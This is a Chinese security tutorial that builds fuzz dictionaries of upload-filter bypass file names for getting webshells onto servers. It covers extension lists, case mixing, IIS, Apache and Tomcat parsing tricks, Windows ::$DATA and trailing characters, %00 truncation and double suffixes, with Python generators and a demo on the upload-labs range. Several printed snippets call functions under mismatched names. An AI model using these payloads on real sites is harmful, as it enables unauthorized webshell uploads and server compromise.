構造優質上傳漏洞Fuzz字典
*本文作者:gv·殘亦,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載
上傳漏洞的利用姿勢很多,同時也會因為語言,中介軟體,作業系統的不同,利用也不同。比如有: 大小寫混合 , .htaccess , 解析漏洞 , 00截斷 , .繞過 , 空格繞過 , ::$DATA繞過 ,以及多種姿勢的組合等等。當遇到一個上傳點,如何全面的利用以上姿勢測試一遍,並快速發現可以成功上傳webshell的姿勢?
方案一:一個一個手工測試
手工把所有姿勢測試一遍,先不說花費大量時間,還很可能會遺漏掉某些姿勢而導致無法利用成功。
方案二:fuzz
在fuzz時我們往往會給一個輸入點喂入大量特殊的資料。這個特殊的資料可能隨機的,毫無規律的,甚至我們都無法預知的。但我思考了一下,這樣的fuzz方式只是適合在本地fuzz 0day漏洞,並不適合通過fuzz線上網站的上傳點,快速找出可以成功上傳webshell的payload,因為時間成本排在哪裡。
通過思考,我們可以知道如果能根據上傳漏洞的場景(後端語言,中介軟體,作業系統)來生成優質的fuzz字典,然後使用該字典進行fuzz,就能消除以上兩個解決方案的弊端!
一、構想
在動手之前我們來思考下上傳漏洞跟那些因素有關:
1.可解析的字尾,也就是該語言有多個可解析的字尾,比如php語言可解析的字尾為php,php2,php3等等
2.大小寫混合,如果系統過濾不嚴,可能大小寫可以繞過。
3.中介軟體,每款中介軟體基本都解析漏洞,比如iis就可以把xxx.asp;.jpg當asp來執行。
4.系統特性,特別是Windows的字尾加點(.),加空格,加::$DATA可以繞過目標系統。
5.語言漏洞,流行的三種指令碼語言基本都存在00截斷漏洞。
6.雙字尾,這個與系統和中介軟體無關,偶爾會存在於程式碼邏輯之中。
整理以上思考,我們把生成字典的規則梳理為以下幾條:
可解析的字尾+大小寫混合
可解析的字尾+大小寫混合+中介軟體漏洞
.htaccess + 大小寫混合
可解析的字尾+大小寫混合+系統特性
可解析的字尾+大小寫混合+語言漏洞
可解析的字尾+大小寫混合+雙字尾
下面我們根據上面的構想,來分析每一方面的細節,並使用程式碼來實現。
二、可解析字尾
其實很多語言都這樣,有多個可以解析字尾。當目標站點採用黑名單時,往往包含不全。以下我收集相對比較全面的可解析字尾,為後面生成字典做材料。
語言 | 可解析字尾 |
---|---|
asp/aspx | asp,aspx,asa,asax,ascx,ashx,asmx,cer,aSp,aSpx,aSa,aSax,aScx,aShx,aSmx,cEr |
php | php,php5,php4,php3,php2,pHp,pHp5,pHp4,pHp3,pHp2,html,htm,phtml,pht,Html,Htm,pHtml |
jsp | jsp,jspa,jspx,jsw,jsv,jspf,jtml,jSp,jSpx,jSpa,jSw,jSv,jSpf,jHtml |
三、大小寫混合
有些網站過濾比較簡單,只是過濾了指令碼字尾,但是沒有對字尾進行統一轉換為小寫,在進行判斷。這就純在一個大小寫問題。這裡我們可以編寫兩個函式,一個函式是傳入一個字串,函式返回該字串所有大小寫組合的可能,第二個函式是基於第一個函式,把一個list的傳入返回一個list內所有字元的所有大小寫組合的可能。
## 字串大小寫混合,返回字串所有大寫可能 def str_case_mixing(word): str_list = [] word = word.lower() tempWord = copy.deepcopy(word) plist = [] redict = {} for char in range( len( tempWord ) ): char = word[char] plist.append(char) num = len( plist ) for i in range( num ): for j in range( i , num + 1 ): sContent = ''.join( plist[0:i] ) mContent = ''.join( plist[i:j] ) mContent = mContent.upper() eContent = ''.join( plist[j:] ) content = '''%s%s%s''' % (sContent,mContent,eContent) redict[content] = None for i in redict.keys(): str_list.append(i) return str_list ## list大小寫混合 def list_case_mixing(li): res = [] for l in li: res += uperTest(l) return res
四、中介軟體的漏洞
這塊是比較複雜的一塊。首先我們先來梳理下
4.1 iis
iis一共有三個解析漏洞:
1.IIS6.0檔案解析 xx.asp;.jpg2.IIS6.0目錄解析 xx.asp/1.jpg3.IIS 7.0畸形解析 xxx.jpg/x.asp
由於2和3和上傳的檔名無關,故我們只根據1來生成fuzz字典
def iis_suffix_creater(suffix): res = [] for l in suffix: str ='%s;.%s' % (l,allow_suffix) res.append(str) return res
4.2 apache
apache相關的解析漏洞有兩個:
1.%0a(CVE-2017-15715)
2.未知字尾 test.php.xxx
根據以上構造 apache_suffix_builder
函式生成規則:
def apache_suffix_creater(suffix): res = [] for l in suffix: str = '%s.xxx' % l res.append(str) str = '%s%s' % (l,urllib.unquote('%0a')) #CVE-2017-15715 res.append(str) return res
4.3 nginx
nginx解析漏洞有三個:
訪問連線加/xxx.php test.jpg/xxx.php
畸形解析漏洞 test.jpg%00xxx.php
CVE-2013-4547 test.jpg(非編碼空格)\0x.php
nginx的解析漏洞,由於和上傳的檔名無關,故生成字典無需考慮。
4.4 tomcat
tomcat用於上傳繞過的有三種,不過限制在windows作業系統下。
xxx.jsp/
xxx.jsp%20
xxx.jsp::$DATA
根據以上規則生成字典對應的程式碼為:
win_tomcat = ['%20','::$DATA','/'] def tomcat_suffix_creater(suffix): res = [] for l in suffix: for t in win_tomcat: str = '%s%s' % (l,t) res.append(str) return res
如果確定中介軟體為apache,可以加入.htaccess。同時如果作業系統還為windows,我們可以大小寫混合。
if (middleware == 'apache' or middleware == 'all') and (os == 'win' or os == 'all'): htaccess_suffix = uperTest(".htaccess") elif (middleware == 'apache' or middleware == 'all') and os == 'linux': htaccess_suffix = ['.htaccess'] else: htaccess_suffix = []
4.5 語言,中介軟體與作業系統的關係
以上我們根據每個中介軟體的漏洞,編寫了對應的fuzz字典生成函式。在最終生成字典時,我們還要考慮中介軟體可以執行那些語言,以及它們與平臺的關係。
語言 | IIS | Apache | Tomcat | Window | Linux |
---|---|---|---|---|---|
asp/aspx | √ | √ | × | √ | √ |
php | √ | √ | √ | √ | √ |
jsp | √ | × | √ | √ | √ |
根據上表,我們明白:
iis下可以執行asp/aspx,php,jsp指令碼,故這3種指令碼語言可解析字尾均應該傳入iis_suffix_builder()進行處理;
apache下可以執行asp/aspx,php。故這2兩種指令碼語言可解析字尾均應該傳入apache_suffix_builder()進行處理;
tomcat下可以執行php,jsp,故這兩個指令碼語言可解析字尾均應該傳入tomcat_suffix_builder()進行處理。
注意:根據對tomcat上傳的繞過分析,發現之後在windows平臺下才能成功。故之後在Windows平臺下才會呼叫 tomcat_suffix_builder()
對可解析字尾進行處理。
故虛擬碼可以編寫如下:
if middleware == 'iis': case_asp_php_jsp_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = iis_suffix_creater(case_asp_php_jsp_parse_suffix) elif middleware == 'apache': case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix middleware_parse_suffix = apache_suffix_creater(case_asp_php_html_parse_suffix) elif middleware == 'tomcat' and os == 'linux': middleware_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix elif middleware == 'tomcat' and (os == 'win' or os == 'all'): case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix middleware_parse_suffix = tomcat_suffix_creater(case_php_jsp_parse_suffix) else: case_asp_php_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix iis_parse_suffix = iis_suffix_creater(case_asp_php_parse_suffix) case_asp_php_html_parse_suffix = case_asp_parse_suffix + case_php_parse_suffix + case_html_parse_suffix apache_parse_suffix = apache_build(case_asp_php_html_parse_suffix) case_php_jsp_parse_suffix = case_php_parse_suffix + case_jsp_parse_suffix tomcat_parse_suffix = tomcat_build(case_php_jsp_parse_suffix) middleware_parse_suffix = iis_parse_suffix + apache_parse_suffix + tomcat_parse_suffix
五、系統特性
經過查資料,目前發現在系統層面,有以下特性可以被上傳漏洞所利用。
Windows下檔名不區分大小寫,Linux下檔名區分大寫歐西;
Windows下ADS流特性,導致上傳檔案xxx.php::$DATA = xxx.php;
Windows下檔名結尾加入 .
, 空格
, <
,· >
, >>>
, 0x81-0xff
等字元,最終生成的檔案均被windows忽略。
# 生成0x81-0xff的字元list def str_81_to_ff(): res = [] for i in range(129,256): str = '%x' % i str = '%' + str str = urllib.unquote(str) res.append(str) return res windows_os = [' ','.','/','::$DATA','<','>','>>>','%20','%00'] + str_81_to_ff() def windows_suffix_builder(suffix): res = [] for s in suffix: for w in windows_os: str = '%s%s' % (s,w) res.append(str) return res
六、語言的漏洞
語言漏洞被利用於上傳的有%00截斷和0×00截斷。它們在asp,php和jsp中都存在著。
def str_00_truncation(suffix,allow_suffix): res = [] for i in suffix: str = '%s%s.%s' % (i,'%00',allow_suffix) res.append(str) str = '%s%s.%s' % (i,urllib.unquote('%00'),allow_suffix) res.append(str) return res
七、雙字尾
有些站點通過對上傳檔名進行刪除敏感字元(php,asp,jsp等等)的方式進行過濾,例如你上傳一個aphp.jpg的檔案,那麼上傳之後就變成了a.jpg。這時就可以利用雙字尾的方式上傳一個a.pphphp,最終正好生成a.php。其實雙字尾與中介軟體和作業系統無關,而是和程式碼邏輯有關。
針對雙字尾,我們可以寫個 str_double_suffix_creater(suffix)
函式,傳入字尾名suffix即可生成所有的雙字尾可能。
def str_double_suffix_creater(suffix): res = [] for i in range(1,len(suffix)): str = list(suffix) str.insert(i,suffix) res.append("".join(str)) return res
在 list_double_suffix_creater(suffix)
函式基礎上,可以編寫 list_double_suffix_creater(list_suffix)
來為一個list生成所有雙字尾可能。
def list_double_suffix_creater(list_suffix): res = [] for l in list_suffix: res += double_suffix_creater(l) return duplicate_removal(res)
八、整合程式碼
上面我們針對和上傳漏洞相關的每個方面進行了細緻的分析,也提供了相關的核心程式碼。最終整合後的程式碼限於邊幅,就放在github上了。
github: ofollow,noindex" target="_blank">https://github.com/c0ny1/upload-fuzz-dic-builder
$ python upload-fuzz-dic-builder.py -h usage: upload-fuzz-dic-builder [-h] [-n] [-a] [-l] [-m] [--os] [-d] [-o] optional arguments: -h, --helpshow this help message and exit -n , --upload-filename Upload file name -a , --allow-suffixAllowable upload suffix -l , --languageUploaded script language -m , --middlewareMiddleware used in Web System --osTarget operating system type -d, --double-suffixIs it possible to generate double suffix? -o , --outputOutput file
指令碼可以之定義生成的上傳檔名(-n),允許的上傳的字尾(-a),後端語言(-l),中介軟體(-m),作業系統(–os),是否加入雙字尾(-d)以及輸出的字典檔名(-o)。我們可以根據場景來生成合適的字典,提供的資訊越詳細,指令碼生成的字典越精確。
九、案例
upload-labs 靶場的Pass-03到Pass-10其實都是關於字尾的,在不知道程式碼的情況下,我們如何快速發現可以繞過的字尾呢?這時我們就可以使用 upload-fuzz-dic-builder.py
指令碼生成fuzz字典,來進行fuzz。這裡我選擇Pass-09來給大家演示。
1.利用指令碼生成fuzz字典
由於知道我們的後端語言為 php
,中介軟體為 apache
,作業系統為 Windows
。所以可以利用這些資訊生成更精確的fuzz字典。
$ python upload-fuzz-dic-builder.py -l php -m apache --os win [+] 收集17條可解析字尾完畢! [+] 加入145條可解析字尾大小寫混合完畢! [+] 加入152條中介軟體漏洞完畢! [+] 加入37條.htaccess完畢! [+] 加入10336條系統特性完畢! [+] 去重後共10753條資料寫入upload_fuzz_dic.txt檔案
2.抓包使用burp的Intruder模組對上傳名稱進行fuzz
抓取 upload-labs 的Pass-09的上傳包,傳送到Intruder模組,載入第一步指令碼生成的fuzz字典,對上傳的包的檔名進行fuzz。
經過測試,通過fuzz可以快速找到可以突破upload-labs那些基於字尾的Pass的payload。甚至fuzz出同一個Pass多種繞過的方法。
*本文作者:gv·殘亦,本文屬於FreeBuf原創獎勵計劃,未經許可禁止轉載